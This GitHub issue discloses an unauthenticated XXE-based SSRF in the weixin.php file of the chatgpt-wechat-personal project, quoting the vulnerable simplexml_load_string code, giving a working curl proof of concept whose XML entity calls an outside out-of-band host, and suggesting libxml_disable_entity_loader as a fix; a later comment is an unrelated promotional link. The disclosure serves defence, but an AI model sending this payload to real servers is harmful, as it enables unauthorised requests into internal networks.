Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SSRF vulnerability in weixin.php File (chatgpt-wechat-personal) #4

Open
zer0yu opened this issue Sep 9, 2023 · 1 comment
Open

Comments

@zer0yu
Copy link

zer0yu commented Sep 9, 2023

SSRF vulnerability in weixin.php File (chatgpt-wechat-personal)

0x01 Affected version

vendor: https://github.com/dirk1983/chatgpt-wechat-personal

version: [release](a0857f6)

php version: 7.0.30

libxml 2.8.0

0x02 Vulnerability description

A Server-Side Request Forgery (SSRF) in weixin.php file of [chatgpt-wechat-personal](a0857f6) allows remote attackers to force the application to make arbitrary requests via injection of arbitrary URLs by post a XML data. It should be noted that this vulnerability can be triggered without the need for authentication and is therefore more harmful.

The vulnerable code is located in the weixin.php file. Because the function does not perform sufficient checksumming on user-input, the taint is introduced from the file_get_contents("php://input") variable into the tainted function simplexml_load_string , and after the simplexml_load_string function is executed it sends a request to the URL specified by the user-provided URL, eventually leading to an SSRF vulnerability.

<?php
$xml_tree = simplexml_load_string(file_get_contents("php://input"));
echo $xml_tree->Content;
$prompt .= $xml_tree->Content;
$touser = $xml_tree->FromUserName;

Because the user-provided post data is unrestricted, it is also possible to use the server side to send requests, such as probing web services. The corresponding PoC is as follows:

image-20230908233946863

image-20230908233921766

You can also request the following curl command

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:9080' -H $'Content-Length: 134' -H $'Cache-Control: max-age=0' -H $'sec-ch-ua: ' -H $'sec-ch-ua-mobile: ?0' -H $'sec-ch-ua-platform: \"\"' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://127.0.0.1:9080' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-User: ?1' -H $'Sec-Fetch-Dest: document' -H $'Referer: http://127.0.0.1:9080/chatgpt-wechat-personal/weixin.php' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: zh-CN,zh;q=0.9' -H $'x-custom-ip-authorization: 127.0.0.1' -H $'Connection: close' \
    --data-binary $'<!DOCTYPE foo [\x0d\x0a\x09<!ENTITY  % xxe SYSTEM \"http://41fde16e72.ipv6.1433.eu.org/xxe\" >\x0d\x0a\x09%xxe;\x0d\x0a]>\x0d\x0a<root>\x0d\x0a\x09<name>&evil;</name>\x0d\x0a</root>' \
    $'http://127.0.0.1:9080/chatgpt-wechat-personal/weixin.php'

0x03 Mitigation

  1. It is recommended to disable external entities by adding the following line at the beginning of the code

    libxml_disable_entity_loader(true);

0x04 Acknowledgement

z3

@guotao
Copy link

guotao commented Dec 22, 2023

you can try https://game.jielun.fun/chat/?f=gith

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants